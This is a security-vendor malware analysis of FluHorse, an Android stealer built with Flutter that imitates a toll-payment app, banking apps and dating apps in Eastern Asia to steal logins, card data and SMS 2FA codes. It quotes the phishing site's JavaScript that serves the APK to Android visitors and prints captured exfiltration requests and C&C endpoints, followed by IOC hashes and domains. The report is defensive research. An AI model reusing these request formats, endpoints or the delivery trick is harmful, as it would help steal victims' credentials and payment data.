Eastern Asian Android Assault - FluHorse - Check Point Research

By ramanl

Published: 2023-05-04 · Archived: 2026-04-05 18:20:58 UTC

Research by: Alex Shamshur, Sam Handelman, Raman Ladutska, Ohad Mana

Introduction

In the latest research conducted by **Check Point Research**, we describe a newly discovered malware called **FluHorse.** The malware features several malicious **Android** applications that **mimic** legitimate applications, most of which have more than **1,000,000 installs**. These malicious apps steal the victims' credentials and Two-Factor Authentication (2FA) codes**.** FluHorse targets different sectors of **Eastern Asian** markets and is distributed via **emails**. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain **undetected for months** making it a persistent, dangerous, and hard-to-spot threat.

Image 1 – One of the malware samples, still not detected on VirusTotal (VT) after 3 months.

Cyber-crime operators often get creative in their aim of complicating the malware analysis. They can use tricks like evasion techniques, obfuscation, and long delays before execution – all to sneak past virtual environments and confound researchers. Usually, these tricks have custom implementation that require plenty of effort on their creators' behalf. Only in rare cases are malware samples hard to detect and analyze even when they are developed with widely available technologies.

Quite surprisingly, no custom implemented tricks are used inside FluHorse, as the malware authors relied solely on **open-source frameworks** for the development process. Although some of the applications are created partly with Kotlin, the malicious functionality is implemented with **Flutter** – and this is where we focused our technical efforts. Flutter is an open-source UI software development kit created by Google. It is used to develop cross-platform applications for various platforms, including Android and iOS for mobile devices, with a single codebase. What makes Flutter an appealing choice for malware developers is the use of a **custom virtual**

machine (VM) to support different platforms and its ease of use for creation of GUI elements. In addition, analyzing such applications is complicated, due to the custom VM, which makes this framework a perfect solution for Android phishing attacks, as it turned out to be.

In the article below, we describe different targeted markets in several countries and compare phishing applications with the legitimate ones – differences are pretty hard to spot at first glance). We note the available tools for Flutter-application analysis while also providing the enhancements that resulted in our **open-source contribution:** https://github.com/Guardsquare/flutter-re-demo/pull/4. We go through all the pitfalls encountered during our research and provide solutions on how to bypass them. Finally, we give an overview of Command-and-Control (C&C) communication of the malware as well as dive deeply into the details of the network infrastructure analysis.

Mimicked applications

The malware operators made an eclectic selection of targeted sectors for particular countries, using one mimicked application in each country. One of these mimicked applications is ETC application which is used for toll collection in Taiwan. This application has more than 1,000,000 installs in Google Play. The company behind ETC is trusted and have good reputation, which makes such an application very appealing to the attackers as it is sure to attract solvent customers:

Far Eastern Electronic Toll Collection Co., Ltd (FETC) company in Taiwan – The developer of the ETC APK has approximately 16 million transactions per day and more than 6 million users according to the company's website.

More cases include a mimicked major transportation application and a major banking application – we do not describe them thoroughly in this article.

Although the spheres are different, the malware operators made an effort to carefully mimic all the key interface details to avoid raising any suspicions. We meticulously go through the details of GUI in different applications later in the report, in the chapter "Phishing scheme ".

There are also some malicious applications that are connected to the Dating sphere, but we did not find any matching applications that the malware attempts to mimic. In this scenario, the scheme is a bit different: the malware serves as a browser to the phishing site where the victim is supposed to enter the sensitive data. These applications are aimed at Chinese-speaking users.

Image 2 – An icon of Dating malicious application (translated as "Night Love").

Phishing scheme

Let’s take a look at how the phishing scheme is implemented in different variants of the applications. It’s interesting to note that malicious applications do not contain anything except for several replicas of windows to provide a victim with input possibilities. No additional functions or checks were added. This deliberate simplicity leads us to the conclusion that the malware operators did not put much effort into the programming part of their creation… Or they could have made this decision on purpose to further reduce the chances of being detected by security solutions.

Whatever their intention was, the scheme works pretty well. After the victim enters sensitive data, it is exfiltrated to the C&C server. Meanwhile, the malware asks the victim to wait for several minutes while “the data is being processed.” At this step, the SMS interception feature takes the stage and redirects all the incoming SMS traffic to the malicious server. If the malware actors enter stolen credentials or credit card data and then are asked to input Two Factor Authentication (2FA) code, this is intercepted as well. The diagram below summarizes the phishing scheme in a graphical form:

Image 3 – How the malware performs phishing attacks.

Please note that depending on the type of malicious application (targeting Electronic Toll, Banking or Dating users), credentials or credit card numbers may not be required.

Infection chain and targets

Before the malicious applications are installed on the victims’ devices, they must first be delivered. This is where email lures come in handy. We traced infection chains for different types of malicious applications and discovered multiple high-profile entities among the recipient of these emails, including employees of the government sector and large industrial companies.

Email lures are a good use of social engineering and are aligned with the alleged purpose of subsequently installed malicious APK: paying tolls.

This is an example of an email lure with the fetc.net.tw-notice@twfetc.com sender address:

Image 4 – Example of an email sent by malware operators to government recipient.

This is the email translation:

```
Dear eTag user

Your one-time toll of 128 yuan expires on January 10, 2023. To avoid

a fine of 300 yuan per transaction, please use your mobile phone to click
and download the Yuantong Electric Collection App as soon as possible

Pay online. https://www.fetc-net[.]com

Far Eastern Electronic Toll Collection Co,Ltd.All Right Reserved.

Yuantong Electric has trademarks and copyrights, please do not copy or
reprint without authorization.

If you have any questions, please call Yuantong Customer Service Line 02-77161998.

Thanks.
```

The malicious fetc-net[.]com domain used by the malware operators is very similar to fetc.net.tw, which is the official site of FETC company.

On this malicious website, the malware actors added an additional protection layer to ensure that only the victims are able to download the APK: it is downloaded in the case if a target's user agent matches the expected one. This check is performed via a client-side JavaScript:

var user = navigator.userAgent;

if (user.match(/(iphone os)/i)) {

else if (user.match(/ipad/i)) {

else if (user.match(/(midp|ucweb|android|windows ce|windows mobile)/i)) {

window.location.href = "fetc.apk";

var user = navigator.userAgent; if (user.match(/(iphone os)/i)) { console.log("isphone");} else if (user.match(/ipad/i)) { console.log("isipad");} else if (user.match(/(midp|ucweb|android|windows ce|windows mobile)/i)) { window.location.href = "fetc.apk"; };

```
var user = navigator.userAgent;
if (user.match(/(iphone os)/i)) {
        console.log("isphone");}
else if (user.match(/ipad/i)) {
        console.log("isipad");}
else if (user.match(/(midp|ucweb|android|windows ce|windows mobile)/i)) {
        window.location.href = "fetc.apk";
};
```

After the malware is installed, it requires SMS permissions:

Image 5 – ETC APK makes a request for SMS permissions.

The permissions obtained at this step will come into play just after the victim enters the sensitive data. And this brings us straight to the next chapter where the attack scheme is described.

Malicious applications: step-by-step GUI analysis

Let’s take a more detailed look at a couple of malicious applications we encountered.

Malicious Electronic Toll Collection APK

This application contains only 3 windows:

Image 6 – Windows shown in sequence by the malicious ETC APK.

The first window asks for user credentials, and the second one for the credit card data. All this sensitive data is exfiltrated to the malicious C&C server. Next, the third window asks the user to wait for 10 minutes because the "system is busy." The hope is that the user will close the application, or at least not suspect anything wrong for a reasonable period of time. While the user is lulled into a false sense of security by the "system busy" message, the malware operators perform all their required actions, i.e., intercept all the incoming SMS with 2FA codes and make use of the stolen data.

The entire GUI of this decoy application looks like a pretty neat copy of the original ETC application for collecting tolls. This is the visual comparison of the malicious and legitimate application entry windows:

Image 7 – Original entry window (left) and the malicious APK entry window (right).

The original application does not show any fields to log in or enter user credentials. Instead, there is a separate window for this purpose:

Image 8 – Original application log in form.

Malicious Dating APK

The Dating application does not contain any windows. Instead, it effectively functions as a browser leading to the phishing dating site. However, the principle of stealing and processing the data remains the same.

We do not have screenshots of all the steps interacting with the victim, as at the time of writing this article the malicious servers responsible for processing stolen data from this APK were not active. According to the code, only credit card data is stolen, and no credentials are asked for.

This is how the entry to the dating site looks inside the application:

Image 9 – Window of the phishing dating site shown inside the APK.

The translation of the shown message follows:

Image 10 – The translation of the message shown on the phishing site.

Technical details

The analysis of Flutter-based applications, compared to the analysis of pure Android applications, requires some intermediate steps to reach our goal.

There are already several good existing guidelines that we used as a basis for our technical analysis:

- Reverse Engineering Flutter apps by tst.sh
- The Current State & Future of Reversing Flutter Apps by Guardsquare

We introduced some technical and quality-of-life improvements to the open-source tools used in those publications.

Digging deep

As we mentioned in the introduction, Flutter uses a custom virtual environment to support multi-platform development with a single code base. A specific programming language, called **Dart**, is used for the development. Analyzing the Flutter platform code gets a bit easier as it is available as an open-source project, but can still be a tedious process.

Image 11 – Dart presentation in the Flutter Github page.

Let’s take a look at some of the complications we encountered when dealing with an ad-hoc realm of Flutter runtime. We dissected an APK with the hash 2811f0426f23a7a3b6a8d8bb7e1bcd79e495026f4dcdc1c2fd218097c98de684.

Flutter runtime for ARM uses its own stack pointer register (R15) instead of the built-in stack pointer (SP). Which register is used as a stack pointer makes no difference in code execution or in the reverse-engineering process. However, it makes a big difference for the decompiler. Because of a non-standard register usage, a wrong and ugly pseudocode is generated.

A good way to start the malware analysis is to determine the protocol of the communication with the C&C servers. This can say a lot about the malicious functionality. There is one string inside that corresponds to the site we saw in the phishing email:

Image 12 – Address of the C&C server among the strings inside the malicious APK.

However, when we try to find some references to this string, the analysis fails:

Image 13 – Absence of references to the C&C server string in IDA.

Our goal is to **create a reference to this string to locate the code where the C&C communication is performed.**

The articles we mentioned earlier introduce some nice open-source tools to deal with Flutter applications: flutter-re-demo and reFlutter. Their main idea is to use runtime snapshots to create Dart objects and find references to them. The main purpose of **reFlutter** is to gather the functions' names while **flutter-re-demo** allows us to work with the memory dumps collected during the application execution.

However, in addition to memory snapshots, some more runtime information is required. Flutter runtime uses a heap to create objects and stores the pointer to created objects in a special area called the Object Pool. The pointer to this pool is passed to the method in a register X27. We need to find the location of the Object Pool.

flutter-re-demo uses Frida to collect memory dumps and to get the Object Pool address. If we run our APK with the dump_flutter_memory.js script available in the *flutter-re-demo* repository, we see the desired address:

Image 14 – Frida script output with the required addresses.

Now we have all the required elements to start a productive reverse engineering.

After loading the dumps with map_dart_vm_memory.py and running the script create_dart_objects.py, we can now see at least some of the objects:

Image 15 – Objects created by the script.

We have to mention here our first addition to the original *flutter-re-demo* scripts as a part of the open-source contribution.

There is a script called create_dart_objects.py which intends to create Dart objects. The script works by walking over Object Pool, parsing records and creating objects. There are a bunch of objects that the script has no information about – for them the script creates the following structures which describe object format:

uint8_t is_canonical_and_gc;

struct DartUnkObjNNN { uint8_t is_canonical_and_gc; uint8_t size_tag; uint16_t cid; uint32_t padding; uint64_t unk; }

```
struct DartUnkObjNNN {
        uint8_t is_canonical_and_gc;
        uint8_t size_tag;
        uint16_t cid;
        uint32_t padding;
        uint64_t unk;
}
```

NNN here is replaced by the “class id” number, like this:

Image 16 – Struct, created by create_dart_objects.py.

During the Flutter application reverse-engineering, we noticed that the last field (unk) is frequently used as a pointer. We considered converting this field from a simple QWORD to OFFSET QWORD. This could give us some false positives but could also be very helpful in creating references. We therefore decided to change the field type for unkin structures created by the script. This is our change to the original script:

Image 17 – Our changes to the dart_obj_create.py script.

The repository we mentioned contains a script for creating references to Dart objects: add_xref_to_dart_objects.py. When you run it, the script goes through the code and creates references to the Dart objects created by create_dart_objects.py *scripts*. After this process, we still have only one reference to the string we are interested in, namely the reference from Object Pool:

Image 18 – There are no references to the C&C server URL.

Our first thought was maybe there are no cross-references at all? But no, there are several cross-references present, e.g., this object has references:

Image 19 – A couple of references from functions to objects.

This is the object which is referenced from the function:

Image 20 – How the reference looks in the function code.

Let’s investigate why we do not see our reference. Walking through the code of add_xref_to_dart_objects.py brings us to the file dart_obj_xref.py. This file also walks through the code, tries to extract references to data based on the register X27, counts offsets of these references, and finally creates IDA references. Analysis of the code shows that the original script supports two variants of ARM code that access the object:

1:

```
 ADD             X17, X27, #0x18,LSL#12
LDR             X17, [X17,#0xA58]
```

2:

```
 LDR             X24, [X27,#0x20]
```

Does the code use some other instructions to reference the register X27? Let's check. For convenience, let's modify the script and add a comment to each instruction processed with X27:

Image 21 – dart_obj_xref.py modification.

We can then inspect a disassembler listing for constructions processed with X27, which have no comment reference to Dart object attached. We can partially automate these actions by generating a listing file with IDA and greping it with grep utility like this:

```
grep "X27" libapp.lst | grep --invert-match "reference to Dart object"
```

First, grep finds all strings with X27. Then all those strings fall to the second grep command to print only those strings which contain no reference to Dart object. Therefore, we see only unsupported X27 references.

When we detect an unsupported X27 construction, we add the code to support it in the script. After several iterations, we finally get our references to the C&C address string:

Image 22 – References to the C&C address string.

Let's inspect these functions starting with **sub_70FD611C0C.** A brief overview shows that this function intends to do something with the HTTP POST method with the path "/addcontent3" when communicating with the C&C server:

*Image 23 – Pseudo-code of the **sub_70FD611C0C** function.*

There is also a reference to this function from another Dart object:

Image 24 – Reference to a Dart object.

As we go through the references, we finally come to the function with the following code:

Image 25 – Code responsible for listening to all the incoming SMS.

This function installs a listener for all incoming SMS messages.

To be absolutely sure we made a correct static analysis, we checked this function on a real device in runtime. Indeed, we caught a POST request to the C&C server.

This is an example of C&C request after the device received an SMS with the text “Fdsa”:

```
 POST    /addcontent3
user-agent: Dart/2.16 (dart:io)
content-type: application/x-www-form-urlencoded; charset=utf-8
accept-encoding: gzip
content-length: 12

Body: ids=&c4=Fdsa
```

Therefore, the function **sub_70FD611C0C** is used for leaking SMS messages to the C&C server.

The functions **sub_70FD61EBC4 and sub_70FD61EECC** look very similar to the already analyzed **sub_70FD611C0C** except for the kind of exfiltrated data and the server path. These functions use the paths "/addcontent" and "/addcontent2", respectively, and are used to exfiltrate the victim's credentials and pay card information.

There are no traces of server communication in DEX code, so we can assume all communication is located in the Flutter part of the application. After analyzing all the functions related to the C&C server communication, we can describe the network protocol.

C&C communication

C&C protocol intends to only send data from the compromised device to the server. There are no commands to send in the opposite direction i.e. from the server to the compromised device. HTTPS is used to transfer data, and there are several endpoints used.

This is the description of every endpoint we encountered in the analyzed samples:

Endpoint	Description	Method Used	Fields
/addcontent	Used to exfiltrate the victims' credentials.	POST	c1 – user login c2 – user password
/addcontent2	Used to exfiltrate credit card data to the server.	POST	ids – always empty c3 – for card number c33 – for expiration date c333 – for CVC code
/addcontent3	Used to exfiltrate SMS messages intercepted by the malicious application.	POST	ids – always empty c4 – for SMS message body

Web variants of decoys that are used for Dating malicious applications use a very similar protocol. This is an example of exfiltrating credit card data:

```
 URL: https://jp.yelove.xyz/addcontent2
METHOD: POST
BODY: {"cardNumber":"1234253456345","name":"sfsdfgfde dg sdg","expiryDate":"11/27","cvvCode":"150"}
```

The only difference is the body format: the Web version uses JSON instead of the “name=value” format.

Contribution summary

This is a summary of our open-source contribution to the **flutter-re-demo** project:

1. Added parsing of some previously unsupported constructions for accessing Dart objects.
2. Added saving key information during dynamic analysis and using this information in IDA scripts.
3. One field for the unknown Dart object struct is set to the offset so that it can bring more references to Dart objects.

Conclusion

Idealists invent new technologies hoping for the progress of humankind. Realists adapt these inventions to day-to-day needs. Evil minds abuse them in often unforeseen and unpredictable ways to make the most for themselves.

This timeless truth got an unexpected implementation in abusing modern development frameworks by Android malicious developers. Such frameworks can be used as a double-edged sword as we described above. Malware operators pursued a direct approach to stealing victims’ sensitive data without distractions to other components.

The technical implementation of these malicious samples consists of several layers. As the functional part is relatively simple, we can conclude that the malware developers did not put much effort into the programming, instead relying on Flutter as a developing platform. The developers’ main focus is on the GUI. This approach allowed them to create dangerous and mostly undetected malicious applications. One of the benefits of using Flutter is that its hard-to-analyze nature renders many contemporary security solutions worthless.

We traced FluHorse activity back to May 2022. Our analysis shows that these campaigns remain an ongoing threat as new infrastructure nodes and malicious applications appear each month.

As the human factor remains an important factor in malware attacks, Check Point Research recommends the following suggestions for mobile device users:

- Do not open links in the unexpected emails from unknown senders.
- Install applications only from trusted and verified publishers.
- If you see an application from a new publisher, search for analogs from a trusted one.

Check Point’s Harmony Mobile prevents malware from infiltrating mobile devices by detecting and blocking the download of malicious apps in real-time. Harmony Mobile’s unique network security infrastructure – On-device

Network Protection – allows you to stay ahead of emerging threats by extending Check Point's industry-leading network security technologies to mobile devices.

Relevant Check Point protections:

- Stealer.Android.FluHorse.TC.*
- FluHorse.TC.*

Updates and edits

2023-05-11 – Edited to remove sensitive research data

IOCs

Samples

Hash	Description
0a577ee60ca676e49add6f266a1ee8ba5434290fa8954cc35f87546046008388	Dating app
2e18c919ad53a66622e404a96cbde15f237a7bfafed1c0896b6b7e289bc230d6	Major banking app
416e22d6b85d6633d1da000058efb3cd597b8b7df5d77a6c3456464d65a775b3	Toll app
74008170fc5de4d40bcc97b8e2c6fbdb01889805c6ca456fd08134881cad0d2c	Dating app
8b591b5488dab8adb485ea55197148d6b39715da562537c7d8b1a79cd3639510	Major banking app
910707dd041c13f3379115bdf93bb4984ac20b9ecafd59f93e5089ab3a141e67	Toll app
9220752302e2bca0002ea701c772b2f2306831711b1c323157ef2573f176821a	Major banking app
d78fa2c475ea08f90ef6b189d2a3fddc9ead86ae43df272e9083f92f7a47aabe	Major banking app
d8a777b050ba27eeb41c0035f3477882d7eafc56edfcbe1e8cef05a7e85c8b9e	Delivery
de86b0fbbd343f3fc5bb6c19a067a6f063b423132e19c6004c7b696ea1fe0c7d	Major banking app
2811f0426f23a7a3b6a8d8bb7e1bcd79e495026f4dcdc1c2fd218097c98de684	Toll app
659f69d660179d0e8a5f4c2850c51a05529e0ef06ac739ca6f61fe470917ee96	Toll app
e54a2581545477882a1b7c1f9cbb74fb2aa97fcf1ee8b097c8085302ed6fbf36	Major transportation

Hash	Description
	app

Domains

Domain	Decoy relation
info1.yelove.xyz	Dating
jp.yelove.xyz	Dating
h5.yelove.xyz	Dating
api.vpbankem.com	Bank
api.fetctw.xyz	Toll
api.fetc-net.com	Toll
api.usadmin-3.top	Toll and major transportation app
www.pcdstl.com	Toll
h5.spusp.xyz	Dating

Online resources

Open-source projects

1. https://github.com/Guardsquare/flutter-re-demo // flutter-re-demo – Open-source project for analysis of Flutter-based applications
2. https://github.com/ptswarm/reFlutter // reFlutter – Open-source project for analysis of Flutter-based applications
3. https://github.com/frida // Frida – Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers

Technical analysis articles

1. https://blog.tst.sh/reverse-engineering-flutter-apps-part-1 // Reverse engineering Flutter apps (Part 1)
2. https://www.guardsquare.com/blog/current-state-and-future-of-reversing-flutter-apps // The Current State & Future of Reversing Flutter™ Apps

Contribution

https://github.com/Guardsquare/flutter-re-demo/pull/4 // Our contribution to flutter-re-demo

---

Source: https://research.checkpoint.com/2023/eastern-asian-android-assault-fluhorse/